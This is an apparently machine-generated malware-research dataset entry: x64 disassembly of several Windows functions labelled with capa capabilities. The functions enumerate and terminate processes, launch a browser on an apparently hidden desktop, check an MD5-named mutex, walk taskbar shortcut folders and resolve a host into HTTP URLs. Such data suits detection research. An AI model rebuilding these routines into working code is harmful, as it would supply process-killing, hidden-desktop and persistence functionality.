joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800238c0
Capabilities:
Get file size
Terminate process

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0x8e0
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0x8d0], rax
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [0x1800a48a0]
repne scasb al, byte [rdi]
not rcx
cmp rcx, 1
je 0x180023b0d
mov qword [r11 + 8], rbx
lea rcx, [r11 - 0x817]
xor edx, edx
mov r8d, 0x7ff
mov qword [r11 + 0x20], r12
mov byte [rsp + 0xd0], al
call fcn.180055310
xor r12d, r12d
lea rcx, [rsp + 0x51]
lea r8d, [r12 + 0x7f]
xor edx, edx
mov byte [rsp + 0x50], r12b
call fcn.180055310
mov qword [rsp + 0x8f8], rbp
mov qword [rsp + 0x900], rsi
mov ebx, r12d
nop dword [rax + rax]
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x180023aa1
lea rcx, [rsp + 0xd0]
xor edx, edx
mov r8d, 0x800
call fcn.180055310
lea r8, [rsp + 0xd0]
mov r9d, 0x800
xor edx, edx
mov rcx, rdi
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
jne 0x1800239db
lea rcx, str.kernel32
mov dword [rsp + 0x40], 0x800
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.QueryFullProcessImageNameA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1800239db
lea r9, [rsp + 0x40]
lea r8, [rsp + 0xd0]
xor edx, edx
mov rcx, rdi
call rax
lea rcx, [rsp + 0xd0]
xor edx, edx
call fcn.180054f78
test eax, eax
jne 0x180023a98
lea rdx, str._nnAtom.exe
lea rcx, [rsp + 0xd0]
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
test rax, rax
jne 0x180023a98
mov qword [rsp + 0x30], r12
lea edx, [rax + 8]
lea r8d, [rax + 1]
lea rcx, [rsp + 0xd0]
xor r9d, r9d
mov dword [rsp + 0x28], r12d
mov ebp, r12d
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x180023a5c
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov rcx, rsi
mov ebp, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x80
call fcn.180055310
lea rdx, str.__d_
lea rcx, [rsp + 0x50]
mov r8d, ebp
call fcn.18005151c
lea rdx, [rsp + 0x50]
lea rcx, [0x1800a48a0]
call fcn.180051948
test rax, rax
jne 0x180023abd
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
add ebx, 4
cmp ebx, 0x3caf
jle 0x180023950
jmp 0x180023aea
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x180023ae4
call fcn.180035040
call fcn.180012d00
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x40], ebx
call fcn.180012e70
mov r12d, 1
mov rsi, qword [rsp + 0x900]
mov rbp, qword [rsp + 0x8f8]
mov rbx, qword [rsp + 0x8f0]
mov eax, r12d
mov r12, qword [rsp + 0x908]
mov rcx, qword [rsp + 0x8d0]
xor rcx, rsp
call fcn.180050540
add rsp, 0x8e0
pop rdi
ret
Function at 0x180026c30
Capabilities:
Check if file exists
Create thread

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0x1b0
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0x1a0], rax
movabs rax, 0x5c003a0041
mov qword [r11 - 0xf8], rax
xor esi, esi
mov ebx, esi
mov word [rsp + 0xd0], si
xor edx, edx
mov r8d, 0xce
lea rcx, [r11 - 0xe6]
call fcn.180055310
nop
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0xc0]
repne scasw ax, word [rdi]
not rcx
dec rcx
cmp rcx, 3
jne 0x180026d05
lea rcx, [rsp + 0xc0]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x180026d05
movsxd rax, ebx
lea rdi, [rsp + rax*8 + 0xd0]
lea rdx, [rsp + 0xc0]
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_StrCpyW]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
mov r9, rdi
lea r8, [0x180026bb0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, socket
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
movzx eax, word [rsp + 0xc0]
inc ax
mov word [rsp + 0xc0], ax
cmp ax, 0x5a
jbe 0x180026c90
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x1800a449c], esi
je 0x180026d41
lea rcx, [0x1800a3510]
call fcn.18002de80
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x1800a4dcc], esi
je 0x180026dfa
cmp dword [0x1800a4fe8], esi
je 0x180026df6
mov rcx, qword [0x1800a7020]
mov rdi, qword [0x1800a7018]
sub rcx, rdi
movabs rax, 0x7d8c42b2836ed5d3
imul rcx
sar rdx, 9
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rbx, [rdx - 1]
cmp rbx, rdx
jb 0x180026da5
call fcn.1800523b8
mov rdi, qword [0x1800a7018]
imul rbx, rbx, 0x414
lea rdx, [rdi + rbx + 0x208]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x38], rax
mov r8d, 3
lea rcx, [rsp + 0x38]
call fcn.180028030
nop
mov rcx, qword [rsp + 0x38]
call fcn.180027aa0
nop
lea rax, [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
cmp rcx, rax
je 0x180026df2
call fcn.1800525d0
xor eax, eax
jmp 0x180026dfc
xor eax, eax
jmp 0x180026dfc
xor eax, eax
jmp 0x180026dfc
xor eax, eax
mov rcx, qword [rsp + 0x1a0]
xor rcx, rsp
call fcn.180050540
lea r11, [rsp + 0x1b0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x180027aa0
Capabilities:
Create process on windows
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x600
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0x5f0], rax
xor edx, edx
mov rbx, rcx
lea rcx, [rsp + 0x80]
lea r8d, [rdx + 0x70]
call fcn.180055310
xor eax, eax
lea rcx, [rsp + 0x1f1]
xor esi, esi
xor edx, edx
mov r8d, 0x3ff
mov dword [rsp + 0x80], WSAStartup
mov dword [rsp + 0xbc], 1
mov qword [rsp + 0x50], rax
mov word [rsp + 0xc0], si
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
call fcn.180055310
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x1f0]
mov edx, 0x22
mov word [rsp + 0x1f0], dx
repne scasb al, byte [rdi]
xor ecx, ecx
nop
movzx eax, byte [rbx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x180027b40
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x1f0]
repne scasb al, byte [rdi]
movzx eax, word [0x180080480]
or rcx, 0xffffffffffffffff
mov word [rdi - 1], ax
movzx eax, byte [0x180080482]
xor edx, edx
mov byte [rdi + 1], al
xor eax, eax
lea rdi, [rsp + 0x1f0]
repne scasb al, byte [rdi]
mov rax, qword [str.about:blank]
lea rcx, [rsp + 0xf8]
mov qword [rdi - 1], rax
mov eax, dword [0x180081e28]
mov r8d, 0xf8
mov dword [rdi + 7], eax
movabs rax, 0x6b73654475696e
mov dword [rsp + 0x68], 0x18
mov qword [rsp + 0x70], rsi
mov dword [rsp + 0x78], 1
mov qword [rsp + 0xf0], rax
call fcn.180055310
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x28], rdx
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 0x10000000
call qword [sym.imp.USER32.dll_CreateDesktopA]
lea rdx, [rsp + 0x1f0]
mov rdi, rax
lea rax, [rsp + 0xf0]
test rdi, rdi
cmove rax, qword [rsp + 0x90]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0x50]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x180027c97
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [rsp + 0x60]
call fcn.18002ed90
mov rcx, qword [rsp + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test rdi, rdi
je 0x180027c90
mov rcx, rdi
call qword [sym.imp.USER32.dll_CloseDesktop]
mov eax, 1
jmp 0x180027ca7
test rdi, rdi
je 0x180027ca5
mov rcx, rdi
call qword [sym.imp.USER32.dll_CloseDesktop]
xor eax, eax
mov rcx, qword [rsp + 0x5f0]
xor rcx, rsp
call fcn.180050540
lea r11, [rsp + 0x600]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x180028a60
Capabilities:
Check if file exists

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x290
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0x280], rax
mov edi, ecx
mov rsi, r8
mov rbx, rdx
lea rcx, [rsp + 0x180]
xor edx, edx
mov r8d, 0xff
call fcn.180055310
test edi, edi
je 0x180028ac9
sub edi, 1
je 0x180028ac0
cmp edi, 1
je 0x180028ab7
or eax, 0xffffffff
jmp 0x180028c17
lea rdx, str._s__app_system
jmp 0x180028ad0
lea rdx, str._s__app_error
jmp 0x180028ad0
lea rdx, str._s__app_info
lea rcx, [rsp + 0x180]
mov r8, rbx
call fcn.18005151c
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x180]
xor edx, edx
mov r8d, 0x140
repne scasb al, byte [rdi]
mov eax, dword [str..log]
lea rcx, [rsp + 0x40]
mov dword [rdi - 1], eax
movzx eax, byte [0x180081eac]
mov byte [rdi + 3], al
call fcn.180055310
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x180]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x180028b41
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x180028b8e
cmp eax, 3
je 0x180028b8e
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x140
call fcn.180055310
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x180]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindClose]
mov edx, dword [rsp + 0x60]
sub edx, dword [rsp + 0x5c]
add edx, 0x100
cmp edx, 0x80000
jl 0x180028bfe
lea rax, [rsp + 0x180]
test rax, rax
je 0x180028bfe
mov qword [rsp + 0x30], 0
lea rcx, [rsp + 0x180]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180028bfe
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x180028bfe
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [rsp + 0x180]
lea rdx, [0x1800809f8]
mov rcx, rsi
call fcn.18005151c
xor eax, eax
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.180050540
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x180028c40
Capabilities:
Create directory

Disassembly:
sub rsp, 0x238
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0x220], rax
mov rdx, rcx
test rcx, rcx
jne 0x180028c7c
or eax, 0xffffffff
mov rcx, qword [rsp + 0x220]
xor rcx, rsp
call fcn.180050540
add rsp, 0x238
ret
xor eax, eax
mov qword [rsp + 0x248], rbx
lea rcx, [rsp + 0x20]
mov r8d, 0xff
mov qword [rsp + 0x230], rdi
xor ebx, ebx
mov dword [rsp + 0x120], eax
call fcn.180054180
lea rcx, [rsp + 0x20]
mov edx, 0x2f2f
call fcn.1800526c8
mov rdi, rax
test rax, rax
je 0x180028d74
mov qword [rsp + 0x250], rsi
nop word [rax + rax]
test ebx, ebx
jne 0x180028cdb
mov ebx, 1
jmp 0x180028d1d
lea rcx, [rsp + 0x120]
xor edx, edx
mov r8d, 0xff
call fcn.180055310
lea r11, [rsp + 0x20]
mov r8, rdi
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x120]
sub r8, r11
call fcn.180051c00
lea rcx, [rsp + 0x120]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rax, [rsp + 0x20]
mov edx, 0x2f2f
sub edi, eax
inc edi
movsxd rsi, edi
lea rcx, [rsp + rsi + 0x20]
call fcn.1800526c8
mov rdi, rax
test rax, rax
jne 0x180028cd0
test esi, esi
mov rsi, qword [rsp + 0x250]
je 0x180028d74
lea rcx, [rsp + 0x20]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x180028d70
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0xb7
sub ecx, eax
neg ecx
sbb eax, eax
jmp 0x180028d77
xor eax, eax
jmp 0x180028d77
or eax, 0xffffffff
mov rbx, qword [rsp + 0x248]
mov rdi, qword [rsp + 0x230]
mov rcx, qword [rsp + 0x220]
xor rcx, rsp
call fcn.180050540
add rsp, 0x238
ret

Function at 0x180028da0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0xa50
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0xa40], rax
mov rdi, rcx
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0xff
call fcn.180055310
lea rcx, [rsp + 0x140]
xor edx, edx
mov r8d, 0x100
call fcn.180055310
lea rcx, [rsp + 0x240]
xor edx, edx
mov r8d, 0x800
call fcn.180055310
lea r11, [rsp + 0x40]
test r11, r11
je 0x180028e70
xor ecx, ecx
call fcn.180053d08
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x30], rax
call fcn.180053cbc
lea r8, str.C:__LOGFILE
mov ecx, dword [rax + 0x10]
mov r9d, dword [rax + 0x14]
mov eax, dword [rax + 0xc]
inc ecx
mov dword [rsp + 0x28], eax
lea rdx, str._s___d_02d_02d
mov dword [rsp + 0x20], ecx
lea rcx, [rsp + 0x40]
add r9d, 0x76c
call fcn.18005151c
lea rcx, [rsp + 0x40]
call fcn.180028c40
mov ecx, dword [rdi + 0x14]
lea r8, [rsp + 0x140]
lea rdx, [rsp + 0x40]
call fcn.180028a60
lea rdx, [0x180081eb0]
lea rcx, [rsp + 0x140]
call fcn.180050a28
mov rbx, rax
test rax, rax
jne 0x180028e91
or eax, 0xffffffff
jmp 0x180028ee9
lea rax, [rdi + 0x18]
lea r9, [rdi + 0xb]
lea rdx, str._s__s__s_n
lea rcx, [rsp + 0x240]
mov r8, rdi
mov qword [rsp + 0x20], rax
call fcn.18005151c
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x240]
lea edx, [rax + 1]
mov r9, rbx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rsp + 0x240]
call fcn.180050ccc
mov rcx, rbx
call fcn.1800511e8
xor eax, eax
mov rcx, qword [rsp + 0xa40]
xor rcx, rsp
call fcn.180050540
mov rbx, qword [rsp + 0xa68]
add rsp, 0xa50
pop rdi
ret
Function at 0x180028f20
Capabilities:
Check mutex on windows
Hash data with md5

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0x110
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0x108], rax
mov byte [r11 - 0x28], 0
xor eax, eax
mov qword [r11 - 0x27], rax
mov qword [r11 - 0x1f], rax
mov word [r11 - 0x17], ax
mov byte [r11 - 0x15], al
mov qword [r11 - 0x98], 0xf
xor ebx, ebx
mov qword [rsp + 0x78], rbx
mov byte [rsp + 0x68], al
xor r8d, r8d
lea rdx, [0x18007584f]
lea rcx, [rsp + 0x60]
call fcn.1800026a0
nop
lea rcx, [rsp + 0xf0]
call fcn.180034730
test eax, eax
jne 0x1800290f7
mov qword [rsp + 0x20], rbx
mov qword [rsp + 0x28], rbx
lea rdi, [rsp + 0xf0]
xor eax, eax
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
movzx eax, word [0x180081ec4]
mov word [rdi - 1], ax
movzx eax, byte [0x180081ec6]
mov byte [rdi + 1], al
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0xf0]
repne scasb al, byte [rdi]
not rcx
dec rcx
mov rdi, rcx
mov dword [rsp + 0x90], ebx
mov dword [rsp + 0x94], ebx
mov dword [rsp + 0x98], 0x67452301
mov dword [rsp + 0x9c], 0xefcdab89
mov dword [rsp + 0xa0], 0x98badcfe
mov dword [rsp + 0xa4], 0x10325476
lea rbx, [rsp + 0xf0]
test ecx, ecx
je 0x1800290a9
lea edx, [rcx*8]
mov dword [rsp + 0x90], edx
shr ecx, 0x1d
lea eax, [rdi*8]
cmp edx, eax
adc ecx, 0
mov dword [rsp + 0x94], ecx
cmp edi, 0x40
jb 0x180029092
mov esi, edi
shr rsi, 6
nop word [rax + rax]
mov r8, rbx
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x20]
call fcn.18002baf0
add edi, 0xffffffc0
add rbx, 0x40
sub rsi, 1
jne 0x180029070
test edi, edi
je 0x1800290a9
mov r8d, edi
mov rdx, rbx
lea rcx, [rsp + 0xa8]
call fcn.180054180
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x20]
call fcn.18002c5d0
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x20]
call fcn.18002c7c0
nop
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.180002580
nop
cmp qword [rsp + 0x58], 0x10
jb 0x1800290f7
mov rcx, qword [rsp + 0x40]
call fcn.180050528
lea r8, [rsp + 0x68]
cmp qword [rsp + 0x80], 0x10
cmovae r8, qword [rsp + 0x68]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rdi, rax
test rax, rax
je 0x18002915c
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x18002915c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
cmp qword [rsp + 0x80], 0x10
jb 0x180029155
mov rcx, qword [rsp + 0x68]
call fcn.180050528
mov eax, 1
jmp 0x180029173
cmp qword [rsp + 0x80], 0x10
jb 0x180029171
mov rcx, qword [rsp + 0x68]
call fcn.180050528
xor eax, eax
mov rcx, qword [rsp + 0x108]
xor rcx, rsp
call fcn.180050540
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x1800291a0
Capabilities:
Check os version

Disassembly:
sub rsp, 0xd8
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0xc0], rax
lea rcx, [rsp + 0x20]
xor edx, edx
mov r8d, 0x9c
call fcn.180055310
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x9c
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [rsp + 0x24], 6
jne 0x180029213
cmp dword [rsp + 0x28], 1
jne 0x180029213
cmp byte [rsp + 0xba], 1
jne 0x180029213
mov eax, 1
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.180050540
add rsp, 0xd8
ret
xor eax, eax
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.180050540
add rsp, 0xd8
ret
Function at 0x180029ee0
Capabilities:
Get common file path

Disassembly:
sub rsp, 0xc48
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0xc30], rax
lea rcx, [rsp + 0x431]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x430], 0
call fcn.180055310
lea rcx, [rsp + 0x31]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x30], 0
call fcn.180055310
lea rcx, [rsp + 0x831]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x830], 0
call fcn.180055310
lea r8, [rsp + 0x20]
mov edx, 0x1a
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
js 0x18002a013
mov rcx, qword [rsp + 0x20]
lea rdx, [rsp + 0x430]
call qword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
test eax, eax
je 0x18002a013
lea r8, [rsp + 0x430]
lea rcx, [rsp + 0x30]
mov edx, 0x400
call fcn.180053d68
lea r8, str.MicrosoftInternet_ExplorerQuick_LaunchUser_PinnedTaskBar_
lea rcx, [rsp + 0x30]
mov edx, 0x400
call fcn.180053ddc
lea rcx, [rsp + 0x30]
call fcn.18002a030
lea r8, [rsp + 0x430]
lea rcx, [rsp + 0x830]
mov edx, 0x400
call fcn.180053d68
lea r8, str.MicrosoftInternet_ExplorerQuick_Launch_
lea rcx, [rsp + 0x830]
mov edx, 0x400
call fcn.180053ddc
lea rcx, [rsp + 0x830]
call fcn.18002a030
mov eax, 1
mov rcx, qword [rsp + 0xc30]
xor rcx, rsp
call fcn.180050540
add rsp, 0xc48
ret
xor eax, eax
mov rcx, qword [rsp + 0xc30]
xor rcx, rsp
call fcn.180050540
add rsp, 0xc48
ret
Function at 0x18002a030
Capabilities:
Enumerate files on windows

Disassembly:
push rdi
push r12
push r14
mov eax, 0x11a0
call fcn.18006ba40
sub rsp, rax
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov qword [rsp + 0x11c8], rbx
mov qword [rsp + 0x11d0], rsi
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0x1190], rax
mov r14, rcx
mov qword [rsp + 0x40], rcx
mov byte [rsp + 0x590], 0
xor edx, edx
mov r8d, 0x3ff
lea rcx, [rsp + 0x591]
call fcn.180055310
mov byte [rsp + 0x190], 0
xor edx, edx
mov r8d, 0x3ff
lea rcx, [rsp + 0x191]
call fcn.180055310
xor r12d, r12d
xor edx, edx
mov r8d, 0x400
lea rcx, [rsp + 0xd90]
call fcn.180055310
mov rdx, r14
lea rcx, [rsp + 0xd90]
sub rcx, r14
nop word [rax + rax]
movzx eax, byte [rdx]
mov byte [rcx + rdx], al
inc rdx
test al, al
jne 0x18002a0e0
lea rdi, [rsp + 0xd90]
xor eax, eax
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
mov eax, dword [str._.]
mov dword [rdi - 1], eax
movzx eax, byte [0x180080684]
mov byte [rdi + 3], al
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0xd90]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rbx, rax
mov qword [rsp + 0x38], rax
nop dword [rax + rax]
cmp rbx, 0xffffffffffffffff
je 0x18002a2fb
xor edx, edx
mov r8d, 0x400
lea rcx, [rsp + 0x590]
call fcn.180055310
xor edx, edx
movzx eax, byte [rsp + rdx + 0x7c]
mov byte [rsp + rdx + 0x590], al
inc rdx
test al, al
jne 0x18002a151
inc r12d
mov dword [rsp + 0x30], r12d
lea rsi, [rsp + 0x590]
lea rdi, [0x180080260]
mov ecx, 2
repe cmpsb byte [rsi], byte [rdi]
je 0x18002a2d7
lea rsi, [rsp + 0x590]
lea rdi, [0x180080264]
mov ecx, 3
repe cmpsb byte [rsi], byte [rdi]
je 0x18002a2d7
lea rdx, [0x180080688]
lea rcx, [rsp + 0x590]
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
test rax, rax
je 0x18002a2d7
mov byte [rsp + 0x990], 0
xor edx, edx
mov r8d, 0x3ff
lea rcx, [rsp + 0x991]
call fcn.180055310
xor edx, edx
mov r8d, 0x400
lea rcx, [rsp + 0x190]
call fcn.180055310
mov r8, r14
mov edx, 0x400
lea rcx, [rsp + 0x190]
call fcn.180053d68
lea r8, [rsp + 0x590]
mov edx, 0x400
lea rcx, [rsp + 0x190]
call fcn.180053ddc
nop
xor edx, edx
mov r8d, 0x400
lea rcx, [rsp + 0x990]
call fcn.180055310
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0x400
lea rdx, [rsp + 0x990]
lea rcx, [rsp + 0x190]
call fcn.180033f70
test eax, eax
je 0x18002a2c6
cmp byte [rsp + 0x990], 0
je 0x18002a2c6
mov edx, 0x5c
lea rcx, [rsp + 0x990]
call fcn.180051920
test rax, rax
je 0x18002a289
inc rax
jmp 0x18002a291
lea rax, [rsp + 0x990]
lea rdx, [0x180080440]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x18002a2c6
xor edx, edx
lea rcx, [rsp + 0x190]
call fcn.180054f78
test eax, eax
jne 0x18002a2c6
lea rcx, [rsp + 0x190]
call fcn.1800341c0
nop
jmp 0x18002a2d7
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x18002a130
or rbx, 0xffffffffffffffff
mov qword [rsp + 0x38], rbx
jmp 0x18002a130
mov rcx, qword [rsp + 0x1190]
xor rcx, rsp
call fcn.180050540
lea r11, [rsp + 0x11a0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop r12
pop rdi
ret
Function at 0x18002af40
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push rbp
sub rsp, 0x1d0
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
lea rdx, [rsp + 0x20]
mov ecx, 0x101
call qword [sym.imp.WS2_32.dll_WSAStartup]
lea rcx, [0x18007584f]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rbp, rax
test rax, rax
je 0x18002b060
mov qword [rsp + 0x1e0], rbx
mov qword [rsp + 0x1e8], rsi
mov qword [rsp + 0x1f0], rdi
xor ebx, ebx
nop
mov rax, qword [rbp + 0x18]
cmp qword [rax + rbx], 0
je 0x18002b048
mov rax, qword [rax + rbx]
mov ecx, dword [rax]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov rsi, rax
test rax, rax
je 0x18002b011
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rsi
repne scasb al, byte [rdi]
not rcx
dec rcx
cmp rcx, 5
jbe 0x18002b011
lea rcx, [0x1800a4390]
xor edx, edx
mov r8d, 0x104
call fcn.180055310
mov r9d, dword [0x18009ab40]
lea rdx, str.http:___s:_d
lea rcx, [0x1800a4390]
mov r8, rsi
call fcn.18005151c
add rbx, 8
jmp 0x18002afa0
lea rcx, [0x1800a4390]
xor edx, edx
mov r8d, 0x104
call fcn.180055310
mov r8d, dword [0x18009ab40]
lea rdx, str.http:__127.0.0.1:_d
lea rcx, [0x1800a4390]
call fcn.18005151c
add rbx, 8
jmp 0x18002afa0
mov rsi, qword [rsp + 0x1e8]
mov rdi, qword [rsp + 0x1f0]
mov rbx, qword [rsp + 0x1e0]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.180050540
add rsp, 0x1d0
pop rbp
ret